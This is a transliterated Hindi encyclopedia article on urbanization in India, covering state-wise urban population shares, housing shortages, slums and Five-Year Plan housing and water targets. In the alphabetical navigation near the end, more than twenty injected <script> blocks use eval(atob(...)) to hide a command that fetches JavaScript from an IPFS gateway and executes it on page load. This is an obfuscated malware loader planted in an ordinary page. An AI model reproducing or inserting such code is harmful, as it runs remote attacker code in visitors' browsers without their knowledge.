शहरीकरण और क्षेत्रीय स्वरूप

	shaharikaran aur kshetriy svaroop
	tidel park se chennee ka ek drishy\|200px\|center
vivaran	nagar kshetroan ka bhautik vistar ya usake kshetraphal, janasankhya adi mean betahasha vriddhi 'nagarikaran' kahalata hai. yah ek vaishvik parivartan hai.
das lakh se adhik janasankhya vale shahar (2001, bharat)	merath, nasik, jabalapur, jamashedapur, asanasol, dhanabad, pharidabad, ilahabad, amritasar, vijayava da aur rajakot.
vishesh	2001 ki janaganana ke anusar bharat mean sabase adhik janasankhya vala shahar muanbee hai, jisaki janasankhya 2001 mean 1 karo d, 20 lakh thi.
sanbandhit lekh	audyogikaran nagarikaran sanbandh, nagarikaran
any janakari	bharat mean tez gati se shaharikaran ho raha hai aur janasankhya badh rahi hai. yadi yah janasankhya nahian ruki to 2000 tak isake ek arab ho jane ki sanbhavana hai. aisi sthiti mean 20 lakh se adhik log beghar ho jayeange.

bharat ke alag-alag rajyoan par yadi nagarikaran ke kshetr mean vikas ki drishti se vishleshan kiya jay to yah spasht hai ki vibhinn rajyoan mean nagarikaran ki matra aur gati ek jaisi nahian thi. 1981 aur 1991 ke bich jahaan uttar pradesh, aandhr pradesh, madhy pradesh aur rajasthan jaise arthik drishti se pichh de rajyoan nagar nagariy janasankhya mean vriddhi dar rashtriy ausat se oopar thian, vahian panjab, tamilanadu, gujarat, karnatak aur pashchim bangal mean nagariy janasankhya mean vriddhi ki dar rashtriy ausat se nichi rahi. prati vyakti adhik ay vale rajyoan mean maharashtr aur hariyana aise rajy haian, jinamean nagariy janasankhya mean vriddhi dar rashtriy ausat se adhik thi.

1951 se 1991 ki avadhi mean bihar, madhy pradesh aur u disa mean nagariy janasankhya ki vriddhi dar prayah adhik rahi hai, parantu u disa aur bihar mean 1981 se 1991 ke bich nagarikaran ki gati kuchh dhimi p d gee thi. uttar pradesh, andh pradesh, rajasthan mean 1951-61 ke dashak mean nagariy janasankhya mean vriddhi dar rashtriy ausat se niche thi, lekin bad mean in rajyoan mean nagarikaran ki prakriya tej ho gee. purane audyogik drishti se vikasit rajyoan mean 1951-61 ke dashak mean nagariy janasankhya mean vriddhi dar ooanchi thi, lekin isake bad maharashtr ko chho dakar any rajyoan mean nagarikaran ki prakriya dhimi rahi.

bharat audyogik drishti se vikasit rajyoan - maharashtr, gujarat aur tamilanadu mean nagariy janasankhya 34 pratishat se adhik hai. in rajyoan mean aur adhik audyogikaran hone par inaki nagariy janasankhya badhati hai lekin adhar b da hone ke karan nagariy janasankhya mean vriddhi ki dar prayah itani adhik nahian hoti jitani ki apekshakrit pichh de rajyoan mean dekhane ko milati hai.

nagarikaran se upaji samasyayean

bharat me avas ki samasya any samasyaoan se kam vikaral nahian hai. isaka karan arthik vishamata hai, jisake aantargat har sal kafi log ghar vihin hote haian. yojana ayog ke anuman ke anusar - bharat ki janasankhya ka paanchava bhag jhuggi-jhoanp di mean rahata hai. bharat mean bangaluroo mean 10 pratishat, kanapur mean 17 pratishat, muanbee mean 38 pratishat tatha kolakata mean 42 pratishat logoan ke samane avas ki kathin samasya hai. bharat mean avas ke bare mean ek vidambana yah bhi hai ki yahaan ek taraph to alishan makan haian jabaki doosari taraph moolabhoot suvidhaoan ke abhav mean toota-phoota makan hai. ek anuman ke anusar bharat mean 75 pratishat makan aise haian jinamean khi dakiyaan nahian hai aur 80 pratishat makanoan mean shauchalay ki vyavastha nahian hai. vaise bhi shahari abadi vale deshoan mean san.ra. amerika, roos tatha chin ke bad vishv mean bharat ka chautha sthan hai. yahaan har sal lagabhag 27 lakh log gaanv chho dakar shaharoan ki or rozagar ki talash mean ate haian.

mahanagaroan ki sthiti to aur bhi dayaniy hoti ja rahi hai. avas samasya ka alam yah hai ki kary karane ki jagah aur nivas sthan ki doori badhati ja rahi hai. dilli mean ausatan 45 kimi ki doori ke lie 50-60 kimi ki doori tay karani p dati hai. is prakar kuchh logoan ko 4-6 ghante saphar mean vyatit karane p date hai. apana ghar banane ka sapana shaharavasiyoan ke lie pahuanch se bahar hota ja raha hai. sarakari taur many aank doan ke anusar - ek ausat avas ki kimat muanbee mean ek vyakti ki 13 varsh ki ay ke barabar hai, dilli mean 12 varsh ki ay ke barabar, bangalaur mean 11 varsh ki ay ke barabar aur chennee mean 7 varsh ki ay ke barabar hai. chhote shaharoan mean bhi lagat 3-4 varsh ki ay ke barabar hai. yadi kiraye par makan lena ho to vah bhi koee kam arthik bojh nahian dalata hai. sabase b de shahar mean 30-35 pratishat tak ay ka hissa is par kharch ho raha hai tatha chhote shaharoan mean 20-25 pratishat tak hota hai.

rajy	rajy ki kul janasankhya ka nagariy janasankhya ka pratishat
aandhr pradesh	27.05
arunachal pradesh	20.41
asam	12.72
bihar	10.47
chhattisagadh	20.07
gova	49.76
gujarat	37.35
hariyana	29.00
himachal pradesh	9.78
jammoo kashmir	24.87
jharakhand	22.24
karnatak	33.98
keral	25.96
madhy pradesh	26.66
maharashtr	42.39
manipur	23.88
meghalay	19.62
mijoram	49.49
nagalaiand	17.74
u disa	14.97
panjab	33.94
rajasthan	23.38
sikkim	11.10
tamilanadu	43.85
tripura	17.01
uttar pradesh	20.78
uttarakhand	25.59
pashchim bangal	28.03
bharat	27.80

isake alava pine ke pani ki samasya tatha gandagi ke nishkashan ki samasya bhi nagarikaran ke parinamasvaroop vikaral roop le chuki hai, jisase paryavaraniy asantulan bhi paida hone ka khatara bana hua hai.

samasyaoan ke samadhan hetu pahal

yadi yah kaha jaye ki bharat duniya mean pahala desh hai, jo is shatabdi ke aant tak sabako avas tatha 5 varsh ke andar sabhi rihayashi ilakoan mean pine ka pani upalabdh karane ke lie prayasarat hai to koee atishayokti nahian hoga. yah bat doosari hai ki jis gati se bharat ki janasankhya badh rahi hai yadi yah nahian ruki to sanh 2000 tak isake ek arab ho jane ki sanbhavana hai. aisi sthiti mean 20 lakh se adhik log beghar ho jayeangean. is disha mean kee sansthaoan ne sarahaniy kam kie haian. is sandarbh mean lari brakar ke prayog prashansaniy hai jinhean hudakoan ne 1987 mean rashtriy avas puraskar se sammanit kiya tha. lari bekar grih nirman ke aise visheshajn haian jo kam lagat par suandar makan ke nirman ka kary karate haian. inhoanne keral mean tiruanantapuram ke as-pas apana kary kshetr chuna hai. avas samasya ke samadhan mean shahari avas vikas nigam arthat hudako ne bhi ashatit saphalata prapt ki hai. rashtriy bhavan nirman sangathan ne bhi avas sangathan se nipatane ke lie makanoan ki sasti takaniki vikasit ki hai. bharat mean kamazor varg ke logoan ke hitoan ko dhyan mean rakhakar sasti takanik ka prayog kiya ja raha hai.

athavian yojana mean avas samasya ke samadhan hetu maulik niti ka anusaran kiya gaya. is yojana mean shahari avas ke lie 3,581.87 karo d rupaye ka pravadhan kiya gaya tha. is yojanavadhi mean 78 lakh naye gharoan ko banane ki yojana thi.

nauanvi yojana mean sabhi vargoan ke lie avas upalabdh karane ka lakshy hai. isake lie garibi rekha ke niche rahane vale log, anusoochit jati/anusoochit janajati ke log, mukt karae ge bandhuoan mazadoor, gandi bastiyoan mean rahane vale log adi par vishesh dhyan dena hoga.

grih nirman mean ane vale agatoan ko paryapt aur shighr upalabdh karane ke lie sarakar pratibaddh hai. nauvi yojana mean 20 lakh shahari avas prativarsh banane ki yojana hai. yah yojana sarakar ki vishesh kary yojana ke aantargat hai. arthik rup se kamazor tatha nimn ay varg ke lie ek avas nirman ki kimat kramashah 35,000 rupaye tatha 1 lakh rupaye ke adhar par nauanvi yojana 7 lakh atirikt avasoan ke nirman par 4,000 karo d rupaye ki lagat ayegi. is kary ke lie vittiy sansthaoan ke dvara 2,800 karo d rupaye ke vitt ki pratyasha hai, jo ki kul vitt ka 70 pratishat hai. shesh 30 pratishat sabsidi ke roop mean vahan kiya jayega. nauanvi yojana mean avas kshetr mean nivesh ke lie niji kshetr ko bhi kee tarah ke protsahan die jayeangean.

nauvian yojana mean shahari jalapoorti tatha svachchhata ke lie 5,250 karo d rupaye ka pravadhan kiya gaya hai. is kary mean rajy sarakaroan tatha sthaniy nikayoan ko bhagedari banaya jayega. tamilanadu ki tarj par bharat sarakar dvara ke vikas kosh ki sthapana ki jayegi jisaka upayog shahari kshetroan mean adharabhoot dhaancha upalabdh karane ke lie kiya jayega.

audyogik ikaiyoan se nikale hue avashisht ka punarshodhan aur vibhinn prakar ke avashishtoan ka alag-alag sangrahan karane ki bhi ek yojana hai. thos avashishtoan ke nipatan ka nijikaran kar diya jayega.

is prakar spasht hai ki shaharikaran vikas ek soochak hote hue bhi kee tarah ki samasyaoan ka janmadata hai. shahari vikas ko sahi raste par lane ke lie amiroan aur gariboan ke bich jo takarav ki sthiti hai, usaki jagah sahayog ko pratisthapit karana hoga. sanpann varg anek sthanoan par jhuggi-jhoanp diyoan aur gandi bastiyoan mean rahane val logoan ke prati sahanubhooti aur sanvedana se hin ho jate haian. kintu vastusthiti yah hai ki nagaroan ka adhikaansh nirman kary inhian vargo ke parishram evan tyag se hua hai. nirdhan varg ke is andolan ko sanpann varg ke logoan ko svikar karana chahie. parinamatah paraspar sahayog ki jo bhavana utpann hogi, usase nagaroan ka jo vikas hoga vah santulit tatha uchit hoga.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

shaharikaran aur kshetriy svaroop
tidel park se chennee ka ek drishy\|200px\|center
vivaran	nagar kshetroan ka bhautik vistar ya usake kshetraphal, janasankhya adi mean betahasha vriddhi 'nagarikaran' kahalata hai. yah ek vaishvik parivartan hai.
das lakh se adhik janasankhya vale shahar (2001, bharat)	merath, nasik, jabalapur, jamashedapur, asanasol, dhanabad, pharidabad, ilahabad, amritasar, vijayava da aur rajakot.
vishesh	2001 ki janaganana ke anusar bharat mean sabase adhik janasankhya vala shahar muanbee hai, jisaki janasankhya 2001 mean 1 karo d, 20 lakh thi.
sanbandhit lekh	audyogikaran nagarikaran sanbandh, nagarikaran
any janakari	bharat mean tez gati se shaharikaran ho raha hai aur janasankhya badh rahi hai. yadi yah janasankhya nahian ruki to 2000 tak isake ek arab ho jane ki sanbhavana hai. aisi sthiti mean 20 lakh se adhik log beghar ho jayeange.